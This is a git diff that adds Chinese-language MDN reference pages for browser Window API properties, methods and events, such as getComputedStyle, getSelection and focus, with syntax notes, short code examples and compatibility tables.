用于返回 window 下的 personalbar toolbar 对象, 已经过时,请使用 {{ domxref("window.personalbar") }} 来代替该属性。

+ +

语法

+ +
var dirBar = window.directories;
+
+ +

参数

+ +

dirBar 是 BarProp 类型的对象。

+ +

例子

+ +
<script>
+ function dirs() {
+  alert(window.directories);
+ }
+</script>
+
+ +

规范

+ +

不属于任何规范。

diff --git a/files/zh-cn/web/api/window/document/index.html b/files/zh-cn/web/api/window/document/index.html new file mode 100644 index 0000000000..04258782b7 --- /dev/null +++ b/files/zh-cn/web/api/window/document/index.html @@ -0,0 +1,67 @@ +--- +title: window.document +slug: Web/API/Window/document +translation_of: Web/API/Window/document +--- +

{{ ApiRef() }}

+ +

window.document返回当前窗口内的文档节点({{domxref("document")}})

+ +
注: {{ Fx_minversion_inline(3) }}从Firefox 3和IE7开始,访问其他页面内的文档节点会受到同源策略的影响.
+ +

语法

+ +
doc = window.document
+
+ +

参数

+ + + +

例子

+ +
<!DOCTYPE html>
+<html>
+<head>
+   <title>Hello, World!</title>
+</head>
+<body>
+
+<script type="text/javascript">
+   var doc = window.document;
+   alert( doc.title);    // 弹出: Hello, World!
+</script>
+
+</body>
+</html>
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}{{Spec2('HTML5 W3C')}}
+ + +

浏览器兼容性

+ + + +

{{Compat("api.Window.document")}}

diff --git a/files/zh-cn/web/api/window/dump/index.html b/files/zh-cn/web/api/window/dump/index.html new file mode 100644 index 0000000000..41d0a286bf --- /dev/null +++ b/files/zh-cn/web/api/window/dump/index.html @@ -0,0 +1,54 @@ +--- +title: Window.dump() +slug: Web/API/Window/dump +tags: + - API + - DOM + - DOM_0 + - Method + - Non-standard +translation_of: Web/API/Window/dump +--- +
{{ ApiRef() }}
+ +
+

{{Non-standard_header}}

+
+ +

概要

+ +

将信息打印到 (本地) 控制台(console).

+ +

语法

+ +
window.dump(message);
+
+dump(message);
+
+ + + +

注解

+ +

dump()常见用途是调试JavaScript。dump如果使用console选项启动了Firefox进程,则将消息发送到系统控制台(本地控制台)如果console未指定选项,则输出到对应终端。dump()的输出不会发送到浏览器控制台输出可以使用console.log()发送到浏览器控制台特殊的代码还能将消息记录到错误控制台 / 浏览器控制台Components.utils.reportErrornsIConsoleService

+ +

dump()也可用于使用JavaScript实现的XPCOM组件,尽管 {{domxref("window")}} 不是组件中的全局对象。它也明确地在沙箱中提供但是,这种使用dump不受下面提到的偏好的影响---它将始终显示出来。因此,建议您自己检查此偏好或使用自己的调试偏好,以确保在根本不感兴趣的情况下,不会向用户的控制台发送大量调试内容。请注意,dumpXPCOM组件的输出将转到stderr,而dump 其他地方将输出stdout

+ +

Gecko 默认情况dump()下被禁用 - 它不会做任何事情,但也不会引起错误。要查看dump输出,您必须通过设置首选项browser.dom.window.dump.enabled启用它您可以在about:configuser.js文件中设置首选项注意:about:config默认情况下不会列出此首选项,您可能需要创建它(右键单击内容区域 - >新建 - >布尔值)。

+ +

在Windows上,您需要一个控制台才能看到任何东西。如果您还没有,请关闭应用程序并使用命令行参数重新打开console应该创建控制台或使用-attach-console现有的控制台。在其他操作系统上,从终端启动应用程序就足够了。

+ +

要将控制台输出重定向到文件,请运行firefox 而不使用-console选项,并使用语法将stderr和stdout重定向到一个文件,即:

+ +
firefox > console.txt 2>&1
+
+ +
+

如果您希望控制台消息出现在用于启动应用程序的控制台中,则可以使用Gecko控制台重定向器预编译的二进制文件可以在压缩的归档文件  https://github.com/matthewkastor/Redirector/archive/master.zip中找到Redirector-master\Gecko\Console Redirector\bin\Release将所有dll和exe复制到任何你想要的地方。然后跑Console Redirector.exe /?

+
+ +

Specification

+ +

这不是标准的一部分

diff --git a/files/zh-cn/web/api/window/error_event/index.html b/files/zh-cn/web/api/window/error_event/index.html new file mode 100644 index 0000000000..893466b46d --- /dev/null +++ b/files/zh-cn/web/api/window/error_event/index.html @@ -0,0 +1,133 @@ +--- +title: 'Window: error event' +slug: Web/API/Window/error_event +translation_of: Web/API/Window/error_event +--- +
{{APIRef}}
+ +

当资源加载失败或无法使用时,会在{{domxref("Window")}}对象触发error事件。例如:script 执行时报错。

+ + + + + + + + + + + + + + + + + + + + +
Bubbles(支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{domxref("Event")}} or {{domxref("UIEvent")}}
Event handler property(事件处理程序属性)onerror
+ +

如果它是由用户界面元素生成的,或者是由事件实例生成的,那么此事件是{{domxref("UIEvent")}}实例。

+ +

示例

+ +

在线示例

+ +

HTML

+ +
<div class="controls">
+  <button id="script-error" type="button">Generate script error</button>
+  <img class="bad-img" />
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+
+window.addEventListener('error', (event) => {
+    log.textContent = log.textContent + `${event.type}: ${event.message}\n`;
+    console.log(event)
+});
+
+const scriptError = document.querySelector('#script-error');
+scriptError.addEventListener('click', () => {
+    const badCode = 'const s;';
+    eval(badCode);
+});
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-error')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.error_event")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/event/index.html b/files/zh-cn/web/api/window/event/index.html new file mode 100644 index 0000000000..a46da74b26 --- /dev/null +++ b/files/zh-cn/web/api/window/event/index.html @@ -0,0 +1,84 @@ +--- +title: Window.event +slug: Web/API/Window/event +tags: + - API + - DOM + - Window + - 事件 + - 方法 +translation_of: Web/API/Window/event +--- +

{{APIRef}}

+ +

{{ Non-standard_header() }}

+ +

window.event 是一个由微软IE引入的属性,只有当DOM事件处理程序被调用的时候会被用到。它的值是当前正在处理的事件对象。

+ +

规范

+ +

没有任何规范。

+ +

微软在MSDN上有相关介绍

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }} 

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatNo() }}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome Mobile
基本支持{{ CompatUnknown() }}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

更多资料

+ + diff --git a/files/zh-cn/web/api/window/external/index.html b/files/zh-cn/web/api/window/external/index.html new file mode 100644 index 0000000000..0453fa1fb0 --- /dev/null +++ b/files/zh-cn/web/api/window/external/index.html @@ -0,0 +1,55 @@ +--- +title: Window.external +slug: Web/API/Window/external +tags: + - API + - Deprecated + - Window + - external +translation_of: Web/API/Window/external +--- +
{{APIRef}} {{deprecated_header}}
+ +

{{domxref("Window")}} API 的 external 属性返回一个 External 接口的实例,这个接口本来用于包含一些用来向浏览器添加外部搜索提供者(external search providers)的函数,但是,现在这个属性已被废弃,其中的函数现在都是空函数,无任何功能,仅为了符合规范而存在。

+ +

方法

+ +

External 对象有以下方法:

+ + + + + + + + + + + + + + + + +
方法描述
AddSearchProvider(descriptionURL)空函数,无任何作用。参见 Autodiscovery of search plugins
IsSearchProviderInstalled()空函数,无任何作用。
+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', '#external', 'External')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.external")}}

diff --git a/files/zh-cn/web/api/window/find/index.html b/files/zh-cn/web/api/window/find/index.html new file mode 100644 index 0000000000..9574fcf20a --- /dev/null +++ b/files/zh-cn/web/api/window/find/index.html @@ -0,0 +1,47 @@ +--- +title: window.find +slug: Web/API/Window/find +translation_of: Web/API/Window/find +--- +

{{ ApiRef() }}

+

{{ note(" window.find()可能会在未来版本的Gecko中被废弃 .  查看 Bug(672395) .") }}  

+

概述

+

在一个页面中搜索指定的字符串.

+

语法

+
window.find(aString, aCaseSensitive, aBackwards, aWrapAround,
+            aWholeWord, aSearchInFrames, aShowDialog);
+
+
+
+ aString
+
+ 将要搜索的字符串
+
+ aCaseSensitive
+
+ 布尔值,如果为true,表示搜索是区分大小写的.
+
+ aBackwards
+
+ 布尔值.如果为true, 表示搜索方向为向上搜索.
+
+ aWrapAround
+
+ 布尔值.如果为true, 表示为循环搜索.
+
+ aWholeWord {{ unimplemented_inline() }}
+
+ 布尔值.如果为true,表示采用全字匹配搜索.该参数无效; 查看 {{ bug("481513") }}.
+
+ aSearchInFrames
+
+ 布尔值.如果为true, 表示会搜索框架内的文本.
+
+ aShowDialog
+
+ 布尔值.如果为true, 则会弹出一个搜索对话框.
+
+

返回值

+

如果搜索到指定的字符串,则返回true,否则返回false.

+

规范

+

{{ DOM0() }}

diff --git a/files/zh-cn/web/api/window/focus/index.html b/files/zh-cn/web/api/window/focus/index.html new file mode 100644 index 0000000000..984020d0e5 --- /dev/null +++ b/files/zh-cn/web/api/window/focus/index.html @@ -0,0 +1,41 @@ +--- +title: Window.focus() +slug: Web/API/Window/focus +tags: + - API +translation_of: Web/API/Window/focus +--- +

{{APIRef}}

+ +

概述

+ +

请求将窗口显示在前(靠近屏幕),这可能由于用户设置而失败,并且该窗口在方法返回之前不能保证会显示在最前.

+ +

语法

+ +
window.focus()
+
+ +

示例

+ +
if (clicked) { window.focus(); }
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-focus','Window.focus()')}}{{Spec2('HTML WHATWG')}} 
+ +

{{ languages( { "ja": "ja/DOM/window.focus", "pl": "pl/DOM/window.focus" } ) }}

diff --git a/files/zh-cn/web/api/window/focus_event/index.html b/files/zh-cn/web/api/window/focus_event/index.html new file mode 100644 index 0000000000..a5450ca2ec --- /dev/null +++ b/files/zh-cn/web/api/window/focus_event/index.html @@ -0,0 +1,120 @@ +--- +title: 'Window: focus event' +slug: Web/API/Window/focus_event +tags: + - API + - Event + - Focus +translation_of: Web/API/Window/focus_event +--- +
{{APIRef}}
+ +

当元素获得焦点时, focus 事件就会触发。

+ +

与 focus 相反的事件是 {{domxref("Window/blur_event", "blur")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Bubbles(支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{DOMxRef("FocusEvent")}}
Event handler property(事件处理程序属性){{domxref("GlobalEventHandlers/onfocus", "onfocus")}}
Sync / Async(同步/异步)Sync
Composed(可组成)Yes
+ +

示例

+ +

在线示例

+ +

本示例在失去焦点时更改文档的外观。它使用 {{domxref("EventTarget.addEventListener()", "addEventListener()")}} 监听 focus 和 {{domxref("Window/blur_event", "blur")}} 事件。

+ +

HTML

+ +
<p id="log">Click on this document to give it focus.</p>
+ +

CSS

+ +
.paused {
+  background: #ddd;
+  color: #555;
+}
+ +

JavaScript

+ +
function pause() {
+  document.body.classList.add('paused');
+  log.textContent = 'FOCUS LOST!';
+}
+
+function play() {
+  document.body.classList.remove('paused');
+  log.textContent = 'This document has focus. Click outside the document to lose focus.';
+}
+
+const log = document.getElementById('log');
+
+window.addEventListener('blur', pause);
+window.addEventListener('focus', play);
+ +

结果

+ +

{{EmbedLiveSample("Live_example")}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("UI Events", "#event-type-focus")}}{{Spec2("UI Events")}}添加了组成此事件的信息。
{{SpecName("DOM3 Events", "#event-type-focus")}}{{Spec2("DOM3 Events")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.focus_event")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/window/frameelement/index.html b/files/zh-cn/web/api/window/frameelement/index.html new file mode 100644 index 0000000000..12c587d725 --- /dev/null +++ b/files/zh-cn/web/api/window/frameelement/index.html @@ -0,0 +1,73 @@ +--- +title: window.frameElement +slug: Web/API/Window/frameElement +translation_of: Web/API/Window/frameElement +--- +

{{ ApiRef() }}

+

概述

+

返回嵌入当前window对象的元素(比如 <iframe> 或者 <object>),如果当前window对象已经是顶层窗口,则返回null.

+

语法

+
var frameEl = window.frameElement;
+
+

例子

+
var frameEl = window.frameElement;
+// 如果当前窗口被包含在一个框架里面,则将该框架的地址跳到'http://mozilla.org/'
+if (frameEl)
+  frameEl.src = 'http://mozilla.org/';
+
+

备注

+

虽然该属性名为frameElement,但该属性也会返回其他类型比如 <object> 或者其他可嵌入窗口的元素.

+

相关链接

+ +

规范

+

WHATWG

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support18{{ CompatGeckoDesktop("1") }}5.5?{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("1") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

{{ languages( { "ja": "ja/DOM/window.frameElement", "pl": "pl/DOM/window.frameElement", "en": "en/DOM/window.frameElement" } ) }}

diff --git a/files/zh-cn/web/api/window/frames/index.html b/files/zh-cn/web/api/window/frames/index.html new file mode 100644 index 0000000000..2d3331b096 --- /dev/null +++ b/files/zh-cn/web/api/window/frames/index.html @@ -0,0 +1,56 @@ +--- +title: Window.frames +slug: Web/API/Window/frames +translation_of: Web/API/Window/frames +--- +

{{ApiRef("Window")}}

+ +

概要

+ +

返回当前窗口,一个类数组对象,列出了当前窗口的所有直接子窗口。

+ +

语法

+ +
frameList = window.frames;
+
+ + + +

实例

+ +
var frames = window.frames; // 或 // var frames = window.parent.frames;
+for (var i = 0; i < frames.length; i++) {
+  // 在这对frames的一个frame做点什么
+  frames[i].document.body.style.background = "red";
+
+}
+
+ +

规范

+ +

{{ DOM0() }}

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','browsers.html#dom-frames','Window.frames')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-frames', 'Window.frames')}}{{Spec2('HTML5 W3C')}} 
diff --git a/files/zh-cn/web/api/window/fullscreen/index.html b/files/zh-cn/web/api/window/fullscreen/index.html new file mode 100644 index 0000000000..3460bad775 --- /dev/null +++ b/files/zh-cn/web/api/window/fullscreen/index.html @@ -0,0 +1,48 @@ +--- +title: Window.fullScreen +slug: Web/API/Window/fullScreen +translation_of: Web/API/Window/fullScreen +--- +
{{APIRef}}
+ +

概述

+ +

这个属性表明了窗口是否处于全屏模式下。仅在Gecko 1.9(Firefox 3)以及之后的版本中有意义,详情参见后附备注。

+ +

语法

+ +
isInFullScreen = windowRef.fullScreen;
+
+ +

在取得chrome privileges的情况下,这个属性是可读写的,否则将是只读属性。如果你试图在未取得chrome privileges的情况下设置这个属性,虽然实际上修改会失败,却并不会抛出错误。这是为了阻止在IE浏览器中意图通过修改这个属性而进行恶意攻击的脚本。

+ +

返回值

+ +
+
isInFullScreen
+
一个布尔值. 可能的值如下:
+
+ + + +

示例

+ +
if (window.fullScreen) {
+    // it's fullscreen!
+} else {
+    // not fullscreen!
+}
+ +

规范

+ +

DOM 0 级。 window.fullScreen 并不属于任何 W3C 规范或技术推荐中。

+ +

备注

+ + diff --git a/files/zh-cn/web/api/window/gamepadconnected_event/index.html b/files/zh-cn/web/api/window/gamepadconnected_event/index.html new file mode 100644 index 0000000000..e1198abe75 --- /dev/null +++ b/files/zh-cn/web/api/window/gamepadconnected_event/index.html @@ -0,0 +1,90 @@ +--- +title: gamepadconnected +slug: Web/API/Window/gamepadconnected_event +tags: + - Gamepad + - gamepadconnected +translation_of: Web/API/Window/gamepadconnected_event +--- +

gamepadconnected 事件会在浏览器检测到游戏控制器第一次连接或者第一次按下游戏键/摇杆的时候触发。

+ +

基本信息

+ +
+
文档
+
Gamepad
+
类型
+
事件
+
冒泡
+
No
+
可取消
+
No
+
Target
+
DefaultView (<window>)
+
默认操着
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target 只读{{domxref("DOMString")}}事件目标(DOM树中的顶层,即document.documentElement)。
type 只读 +

{{domxref("EventTarget")}}

+
事件的类型。
bubbles 只读{{jsxref("Boolean")}}事件是否正常冒泡。
cancelable 只读{{jsxref("Boolean")}}事件是否可以取消。
gamepad 只读{{domxref("Gamepad")}}单个游戏手柄属性,可用于访问关联游戏手柄的数据。
+ +

示例

+ +
// 请注意,在实现该API的浏览器中,该API仍为供应商前缀
+window.addEventListener("gamepadconnected", function( event ) {
+
+    // 所有按钮和轴值均可通过以下方式访问
+    event.gamepad;
+
+});
+
+ +

相关事件

+ + + +

还可以参考

+ + diff --git a/files/zh-cn/web/api/window/getattention/index.html b/files/zh-cn/web/api/window/getattention/index.html new file mode 100644 index 0000000000..f17531eb18 --- /dev/null +++ b/files/zh-cn/web/api/window/getattention/index.html @@ -0,0 +1,33 @@ +--- +title: Window.getAttention() +slug: Web/API/Window/getAttention +translation_of: Web/API/Window/getAttention +--- +
{{ ApiRef() }}
+ +

The Window.getAttention() method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.

+ +

语法

+ +
window.getAttention();
+
+ +

Notes

+ +

On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.

+ +

On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.

+ +

On Macintosh, the icon in the upper right corner of the desktop flashes.

+ +

The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. getAttention will still work when used from chrome in a Gecko application.

+ +

Specification

+ +

DOM Level 0. Not part of specification.

+ +

Browser compatibility

+ + + +

{{Compat("api.Window.getAttention")}}

diff --git a/files/zh-cn/web/api/window/getcomputedstyle/index.html b/files/zh-cn/web/api/window/getcomputedstyle/index.html new file mode 100644 index 0000000000..34d2cb20eb --- /dev/null +++ b/files/zh-cn/web/api/window/getcomputedstyle/index.html @@ -0,0 +1,151 @@ +--- +title: Window.getComputedStyle() +slug: Web/API/Window/getComputedStyle +tags: + - API + - CSSOM View + - setProperty +translation_of: Web/API/Window/getComputedStyle +--- +
{{APIRef}}
+ +

摘要

+ +

Window.getComputedStyle()方法返回一个对象,该对象在应用活动样式表并解析这些值可能包含的任何基本计算后报告元素的所有CSS属性的值。 私有的CSS属性值可以通过对象提供的API或通过简单地使用CSS属性名称进行索引来访问。

+ +

语法

+ +
let style = window.getComputedStyle(element, [pseudoElt]);
+
+ +
+
element
+
 用于获取计算样式的{{domxref("Element")}}。
+
pseudoElt {{optional_inline}}
+
指定一个要匹配的伪元素的字符串。必须对普通元素省略(或null)。
+
+ +
注意:在Gecko2.0 {{geckoRelease("2.0")}}之前版本,参数pseudoElt是必要的。如果为null,则不指定其他主要浏览器必须指定此参数。Gecko已经更改为匹配其他浏览器的行为。
+ +

返回的style是一个实时的 {{domxref("CSSStyleDeclaration")}} 对象,当元素的样式更改时,它会自动更新本身。

+ +

示例

+ +
let elem1 = document.getElementById("elemId");
+let style = window.getComputedStyle(elem1, null);
+
+// 它等价于
+// let style = document.defaultView.getComputedStyle(elem1, null);
+
+ +
<style>
+ #elem-container{
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+</style>
+
+<div id="elem-container">dummy</div>
+<div id="output"></div>
+
+<script>
+  function getTheStyle(){
+    let elem = document.getElementById("elem-container");
+    let theCSSprop = window.getComputedStyle(elem,null).getPropertyValue("height");
+    document.getElementById("output").innerHTML = theCSSprop;
+   }
+  getTheStyle();
+</script>
+
+ +
function dumpComputedStyles(elem,prop) {
+
+  let cs = window.getComputedStyle(elem,null);
+  if (prop) {
+    dump("    "+prop+" : "+cs.getPropertyValue(prop)+"\n");
+    return;
+  }
+  let len = cs.length;
+  for (var i=0;i<len;i++) {
+
+    let style = cs[i];
+    dump("    "+style+" : "+cs.getPropertyValue(style)+"\n");
+  }
+
+}
+
+
+ +

描述

+ +

返回的对象与从元素的 {{domxref("HTMLElement.style", "style")}}  属性返回的对象具有相同的类型;然而,两个对象具有不同的目的。从getComputedStyle返回的对象是只读的,可以用于检查元素的样式(包括由一个<style>元素或一个外部样式表设置的那些样式)。elt.style对象应用于在特定元素上设置样式。

+ +

第一个参数必须是Element对象(传递一个非节点元素,如 一个#text 节点, 将会抛出一个错误). 从Gecko 1.9.2   {{geckoRelease("1.9.2")}} 开始, 现在返回的一个在URL周围有引号的URL值,像这样: url("http://foo.com/bar.jpg").

+ +

defaultView

+ +

在许多在线的演示代码中,getComputedStyle是通过 document.defaultView 对象来调用的。大部分情况下,这是不需要的,因为可以直接通过window对象调用。但有一种情况,你必需要使用 defaultView,  那是在firefox3.6上访问子框架内的样式 。

+ +

与伪元素一起使用

+ +

getComputedStyle 可以从伪元素拉取样式信息 (比如, ::after, ::before, ::marker, ::line-marker—查看 详情 这里).

+ +
<style>
+    h3::after {
+        content: "rocks!";
+    }
+</style>
+
+<h3>generated content</h3>
+
+<script>
+    let h3 = document.querySelector('h3'),
+    result = getComputedStyle(h3, '::after').content;
+    alert(`the generated content is: ${result}`);
+    console.log(`the generated content is: ${result}`);
+    // the generated content is: "rocks!"
+</script>
+
+
+ +

注意

+ +

 

+ +

返回的{{domxref("CSSStyleDeclaration")}}对象将包含所有受支持的CSS属性长名称的活动值。示例名称是border-bottom-widthborder-widthborder是示例速记属性名称。仅使用像font-size这样的名字来查询值是最安全的。 查询诸如font等简写名称不适用于大多数浏览器。

+ +

CSS规范也允许使用驼峰命名,比如fontSizepaddingTop

+ +

CSS属性值可以使用getPropertyValue(propName)API或直接索引到对象,如cs ['z-index']cs.zIndex

+ +

 

+ +

getComputedStyle的返回值是 {{cssxref("resolved_value", "resolved values")}},  通常跟CSS2.1中的{{cssxref("computed_value","computed values")}}是相同的值。 但对于一些旧的属性,比如width, height, padding 它们的值又为 {{cssxref("used_value","used values")}}。 最初, CSS2.0定义的计算值Computed values 就是属性的最终值。 但是CSS2.1 重新定义了 computed values 为布局前的值, used values布局后的值。 布局前与布局后的区别是, width 或者 height的 百分比可以代表元素的宽度,在布局后会被像素值替换.

+ +

在某些情况下,通过浏览器会特意返回不准确的值。 特别是在避免CSS 浏览历史泄露的安全问题, 比如,浏览者看过某个网站, 它的链接通常会变成蓝色带下划线的链接,通过判断链接的颜色(getComputedSytle(node, null).color) 是否为蓝色,就会泄露用户的浏览历史, 所以浏览器会特意返回不准确的值,保护用户隐私。可以了解更多关于css安全的链接http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/

+ +

在CSS过渡期间,getComputedStyle返回Firefox中的原始属性值,但返回WebKit中的最终属性值。

+ +

在Firefox中,属性值为auto的会直接返回使用值,而不是auto。比如,你在设定了一个元素的css为height:30px; top: auto; bottom:0;它的父元素height:100px;,在请求top的计算样式时,Firefox会返回'70px' = 100px - 30px;

+ +

浏览器兼容

+ + + +

{{Compat("api.Window.getComputedStyle")}}

+ +

规范

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/window/getdefaultcomputedstyle/index.html b/files/zh-cn/web/api/window/getdefaultcomputedstyle/index.html new file mode 100644 index 0000000000..2ec99a1b9a --- /dev/null +++ b/files/zh-cn/web/api/window/getdefaultcomputedstyle/index.html @@ -0,0 +1,144 @@ +--- +title: Window.getDefaultComputedStyle() +slug: Web/API/Window/getDefaultComputedStyle +translation_of: Web/API/window/getDefaultComputedStyle +--- +
{{APIRef("CSSOM")}}{{Non-standard_header}}
+ +

getDefaultComputedStyle() 给出元素的所有CSS属性的默认计算值(computed values ),忽略作者样式。也就是说,只考虑用户代理和用户风格。

+ +

语法及参数说明

+ +
let style = window.getDefaultComputedStyle(element[, pseudoElt]);
+
+ +
+
element
+
获取计算样式的元素
+
pseudoElt {{optional_inline}}
+
指定匹配的伪类. 通常情况下可以为空.
+
+ +

返回的样式是一个 CSSStyleDeclaration 对象.

+ +

例子

+ +
var elem1 = document.getElementById("elemId");
+var style = window.getDefaultComputedStyle(elem1);
+
+ +
<style>
+#elem-container {
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+</style>
+
+<div id="elem-container">dummy</div>
+<div id="output"></div>
+
+<script>
+    var elem = document.getElementById("elem-container");
+    var theCSSprop = window.getDefaultComputedStyle(elem).position;
+    document.getElementById("output").innerHTML = theCSSprop; // 将会输出 "static"
+</script>   
+ +

Description

+ +

The returned object is of the same type as the object returned by getComputedStyle, but only takes into account user-agent and user rules.

+ +

使用伪元素

+ +

getDefaultComputedStyle 同样可以从伪元素中获取属性 (比如, ::after, ::before).

+ +
<style>
+ h3:after {
+   content: ' rocks!';
+ }
+</style>
+
+<h3>generated content</h3>
+
+<script>
+  var h3       = document.querySelector('h3'),
+      result   = getDefaultComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // 返回 'none'
+</script>
+
+ +

备注

+ +

The returned value is, in certain known cases, expressly incorrect by deliberate intent. In particular, to avoid the so called CSS History Leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site, and/or limit the styles that can be applied using the :visited pseudo-selector. See http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ for details of the examples of how this is implemented.

+ +

Specifications

+ +

Proposed to the CSS working group.

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}19{{CompatNo}}{{CompatNo}}{{CompatNo}}
pseudo-element support{{CompatNo}}19{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}197.5{{CompatNo}}{{CompatNo}}
pseudo-element support{{CompatNo}}19{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/window/getselection/index.html b/files/zh-cn/web/api/window/getselection/index.html new file mode 100644 index 0000000000..6c2bebc684 --- /dev/null +++ b/files/zh-cn/web/api/window/getselection/index.html @@ -0,0 +1,82 @@ +--- +title: Window.getSelection +slug: Web/API/Window/getSelection +translation_of: Web/API/Window/getSelection +--- +
{{ ApiRef() }}
+ +
+ +

返回一个 {{domxref("Selection")}} 对象,表示用户选择的文本范围或光标的当前位置。

+ +

语法

+ +
const selection = window.getSelection() ;
+ + + +

示例

+ +
function foo() {
+    let selObj = window.getSelection();
+    console.log(selObj);
+    let selRange = selObj.getRangeAt(0);
+    // 其他代码
+}
+ +

备注

+ +

在  JavaScript中,当一个对象被传递给期望字符串作为参数的函数中时(如 {{ Domxref("window.alert") }} 或 {{ Domxref("document.write") }}),对象的{{jsxref("Object.toString","toString()")}}方法会被调用,然后将返回值传给该函数。

+ +

在上例中,selObj.toString() 会在传递到 {{domxref("window.alert()")}}时自动调用。然而,当你试图在 {{domxref("Selection")}} 对象上使用一个 JavaScript 的{{jsxref("Global_Objects/String", "String")}} 对象上的属性或者方法时(如 {{jsxref("String.prototype.length")}} 或者 {{jsxref("String.prototype.substr()")}}),会导致错误(如果没有相应的属性或方法时)或返回不是期望的结果(如果存在相应的属性或方法)。如果想要将 Selection 对象作为一个字符串使用,请直接调用 toString() 方法:

+ +
var selectedText = selObj.toString();
+ + + +

相关对象

+ + + +

你还可以使用 {{domxref("Document.getSelection()")}},两个方法等价。

+ +

值得注意的是,目前在Firefox, Edge (非 Chromium 版本) 及 Internet Explorer 中,getSelection() 对 {{htmlelement("textarea")}} 及 {{htmlelement("input")}} 元素不起作用。 {{domxref("HTMLInputElement.setSelectionRange()")}} 或 selectionStart 及 selectionEnd 属性可用于解决此问题。

+ +

还要注意选择不同于焦点(详见 Selection 及输入焦点)。可使用{{domxref("Document.activeElement")}} 来返回当前的焦点元素.

+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.getSelection")}}

+ +

相关链接

+ + + +
+ +
+
+
+
+ +
+ +
+
+ +
+
+
diff --git a/files/zh-cn/web/api/window/hashchange_event/index.html b/files/zh-cn/web/api/window/hashchange_event/index.html new file mode 100644 index 0000000000..de51f52ff8 --- /dev/null +++ b/files/zh-cn/web/api/window/hashchange_event/index.html @@ -0,0 +1,88 @@ +--- +title: 'Window: hashchange event' +slug: Web/API/Window/hashchange_event +tags: + - API + - DOM + - Event + - HashChange + - Window + - onhashchange + - 事件 + - 参考 +translation_of: Web/API/Window/hashchange_event +--- +

{{APIRef}}

+ +

当URL的片段标识符更改时,将触发hashchange事件 (跟在#符号后面的URL部分,包括#符号)

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("HashChangeEvent")}}
Event handler{{domxref("WindowEventHandlers/onhashchange", "onhashchange")}}
+ +

示例

+ +

你可以在 {{domxref("EventTarget/addEventListener", "addEventListener")}} 方法中使用 hashchange 事件:

